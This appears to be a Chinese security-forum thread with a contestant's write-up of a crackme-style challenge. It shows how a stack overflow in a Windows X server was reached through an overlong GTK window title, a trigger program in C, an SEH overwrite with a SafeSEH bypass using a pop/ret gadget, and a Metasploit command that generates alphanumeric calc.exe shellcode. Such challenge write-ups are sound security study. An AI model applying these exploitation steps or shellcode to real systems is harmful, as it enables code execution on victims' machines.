|
|
|---|---|
|
|
|
|
|
关注一下。
有ubuntu 有 windows 可惜没技术~~ 
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
头一回见hackme好强大
|
|
|
==============================================================================
我的答案： answer.7z 压缩包中有4个文件test.c是源代码， test是linux下可执行程序shellcode是我用的shellcode，metasploit产生的执行任何命令的shellcode。windows/exec CMD=calc.exe 编码x86/alpha_mixed 在攻击机端执行test后，目标机会弹出calc.exe程序。 ============================================================================== 一：解题环境的安装。 虚拟机vmware 6.5上安装了两个系统，一个是windows xp sp3，作为目标机。一个是ubuntu9.10 攻击机器。 目标机上安装的软件：ollydbg + SafeSEH(多谢riusksk的提醒和帮助)插件 + metasploit。 攻击机器上安装：gcc + gtk2（本人精通gtk编程，如果大家熟悉其他的xwindow或其封装库的界面编程，也可以用你熟悉的工具）。具体的安装命令请作相关的搜索。 也可以用两台物理机，保证两台机器网络互通就行了。 二：解题思路。 由于出题者给出了“字符串相关”的提示，于是所有的思考便放在断下所有字符串相关上。根据XWindow的工作原理，目标机器实际上是一个xwindow server，负责绘制攻击机器上运行的程序的界面。也就是说目标机器只负责图形界面的绘制。可以想象，如果攻击机器要做攻击的动作，必须跟界面有关。我当时猜想，溢出漏洞一定跟界面有关，当时除了xterm命令，我还用gimp程序做了测试。 在目标机上用ollydbg载入xsession程序，查找模块中所有的函数。在所有的字符串相关的函数上下断点（也包括其他模块的导入函数，当时我是用的排除法，一个函数一个函数试的，其实总共跟字符串相关的函数也没几个），当目标机发送绘图命令的时候，能被断下的函数一定是跟溢出有关的函数。能断下的只有两个LoadStringA和SetWindowTextA。LoadString软件作者没有用错，具体我就分析了。下面我们来看看SetWindowTextA。 在攻击端发送命令：xterm 这时会在ollydbg中断下： 00422469 . 8B9C24 000100>mov ebx, dword ptr [esp+100] 00422470 . 89E0 mov eax, esp 00422472 . 89EA mov edx, ebp 00422474 . E8 7E6D0100 call 004391F7 00422479 . 8B8424 000100>mov eax, dword ptr [esp+100] 00422480 . 30DB xor bl, bl 00422482 . 881C04 mov byte ptr [esp+eax], bl 00422485 . EB 05 jmp short 0042248C 00422487 > 30F6 xor dh, dh 00422489 . 883424 mov byte ptr [esp], dh 0042248C > 803C24 00 cmp byte ptr [esp], 0 00422490 . 0F84 90000000 je 00422526 00422496 . 89E0 mov eax, esp 00422498 . 50 push eax ; /Text 00422499 . 8B8C24 080100>mov ecx, dword ptr [esp+108] ; | 004224A0 . 51 push ecx ; |hWnd 004224A1 . 2E:FF15 D8065>call dword ptr cs:[<&USER32.SetWindow>; \SetWindowTextA 004224A8 . 81C4 08010000 add esp, 108 004224AE . 5D pop ebp 004224AF . 5F pop edi 004224B0 . 5E pop esi 004224B1 . C2 1000 retn 10 总共会被断下来两次，一次是程序名称，一次是窗口标题栏。稍微跟一下，就会发现下面的部分 00422469 . 8B9C24 000100>mov ebx, dword ptr [esp+100] 00422470 . 89E0 mov eax, esp 00422472 . 89EA mov edx, ebp 00422474 . E8 7E6D0100 call 004391F7 00422479 . 8B8424 000100>mov eax, dword ptr [esp+100] 00422480 . 30DB xor bl, bl 00422482 . 881C04 mov byte ptr [esp+eax], bl 00422485 . EB 05 jmp short 0042248C 等价于： CHAR szCatpition[MAX_PATH]; strcpy(szCaption, <CaptionSource>); szCaption[CaptionSource_Len] = '\0'; 先拷贝，在用'\0'在长度处截断，大家都用的伎俩。只不过，作者忽略了在linux中标题栏的长度是可以超过MAX_PATH的，而且拷贝函数没有作边界检查。这就是“栈溢出漏洞”。 为了证实猜想，需要在linux下编写一个界面程序。刚好我精通gtk编程，程序代码： #include <gtk/gtk.h>
#define CAPTION_LEN 300
int main( int argc,
char *argv[] )
{
char caption[CAPTION_LEN];
int i;
GtkWidget *window;
gtk_init (&argc, &argv);
window = gtk_window_new (GTK_WINDOW_TOPLEVEL);
gtk_widget_set_size_request(window, 500, 300);
/* 填充字符 */
for(i = 0; i < CAPTION_LEN; i++)
{
caption[i] = 'a';
}
caption[i] = '\0';
gtk_window_set_title(GTK_WINDOW(window), caption);
g_signal_connect (G_OBJECT (window), "destroy",
G_CALLBACK (gtk_main_quit), NULL);
gtk_widget_show (window);
gtk_main ();
return 0;
}makefile: test: test.c
gcc -Wall -g test.c -o test `pkg-config --cflags gtk+-2.0` `pkg-config --libs gtk+-2.0`编译运行，可以看到目标机弹出异常信息： 
|
|
|
三：漏洞分析
刚开始发现漏洞的时候挺高兴的，因为我想只要覆盖掉函数的返回地址就行了： 实际上问题并没有那么简单，对比一下溢出前后栈的变化情况： 溢出前：  溢出后：  可以看到，通过溢出函数返回地址的天真想法太烂漫了。由于漏洞是在晚上睡觉前找到的，每仔细想，以为就搞定了，找个纯字符的shellcode试一下就行了，没想到，一觉醒来，唉。 既然有个天然的异常，那么最直观的想法是继续覆盖，直到把异常处理程序的地址覆盖掉，当程序用'\0'截断字符串时，引发异常，刚好可以执行ShellCode，教科书上都是这么说的，想到这里，又有了新的希望。 打开SEH窗口：  定位到栈中的位置，稍微计算一下，就能发现溢出需要0x1828个字符，然后就是异常处理程序的地址了。简单修改下攻击端中的代码就行了，这里就不把中间结果贴出来了。问题的关键是，用什么来覆盖这个地址？我首先想到的是jmp esp。找jmp esp不难，难的是找个符合条件的：纯acsii。其实之所以不能溢出返回地址也是因为gtk_window_set_title函数不支持无法显示的字符，也就是说所有的东西（跳转地址，shellcode必须纯字符）。 这里说下额外的东西，gtk是支持utf8字符串的，我当时花了很大的心思想有没有可能把utf8编码作为攻击手段，但是我发现winaxe会把uft8字符转换成可以显示的ascii编码（也不全是比如有个很奇怪的0x1B就混在ascii中，大家可以把test.c中的caption换成中文试试看）。转换函数我没有仔细跟，也许也有可乘之机。 下面说说我找到的jmp esp。千辛万苦，还真让我找到了一个，就是我向riusksk请教的那个地址，位于shell32.dll中算是比较通用了，很高兴了一把，但是一试，不行。实在郁闷了，跑到坛子里来请教，经过riusksk提醒，我找了些资料，跟我跟踪的状况来看，是碰到SafeSEH了。 四：跳板的寻找（二次跳转） 绕过safeseh的方法我在论坛上找到了一篇帖子： http://bbs.pediy.com/showthread.php?t=102719&highlight=safeseh 还不了解的朋友可以学习一下。 总结出来，就是覆盖SEH的地址必须在没有加SafeSEH的模块中找。用safeSEH插件可以看到：  程序自带的模块还是能用的，但是由于要满足纯字符的条件，还是很难找的。 由于笨，我最开始只知道找jmp esp，因为我看到书上这么些的，由于没有找到，心都凉了，后来我发现，不必一定找jmp esp，ret也可以用，而且实验后才又发现，我要找的根本就不是jmp esp。看看系统调用异常处理函数前堆栈中的情况： 从这里F7跟进： 7C9232A6 FFD1 call ecx ; xserver.00416933   可以看到esp离我们的缓冲字符还很远。我们要找别的东西来让程序跳到我们的缓冲区中去，这样我们就能布置shellcode了。我心灰意冷地查找合适的工具时发现了程序中有大量这样的代码： 00416933 |. 81C4 04040000 add esp, 404 00416939 |. 5D pop ebp 0041693A |. 5F pop edi 0041693B |. 5E pop esi 0041693C |. 59 pop ecx 0041693D |. 5B pop ebx 0041693E |. C3 retn 可以发现如果seh运行这样的代码，刚好就能跳到缓冲区中去，而且更巧的是，虽然00416939不全是acii字符，但是最后一个刚好是'\0'，字符串结束符。用这样的地址覆盖掉SEH，就能跳转到我们的缓冲区中去了。 这里的跳转，必须要再进行一次jmp esp跳转才能执行shellcode代码（具体大家可以自己体会一下，我写这个的时候自己都搞得有点晕了）。这次的jmp esp没有safeseh的限制了，我就用了我以前在shell32.dll中找到的那个地址，再攻击机中改装后，成功使程序按照我们的流程进行着。 |
|
|
五：shellcode的产生。
我用的是metasploit来产生我们所需要的纯ascii字符的shellcode。命令如下： $ msfpayload windows/exec CMD=calc.exe r | msfencode BufferRegister=ESP -e x86/alpha_mixed -t c 截个图：  metasploit中还有很多各种各样的shellcode (payload)，能用来进行各种攻击，如果要达到搂主要求的入侵控制目标机，得学习那些payload都怎么用，也许必须得在ubuntu上装个metasploit，ubuntu下装metasploit挺麻烦的。总之，是一路学习过来的。很累人！ ======================================================== 如果楼主检查我的答案能正常工作的话，我就有饭局了，也许看雪币也能涨点？ 
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
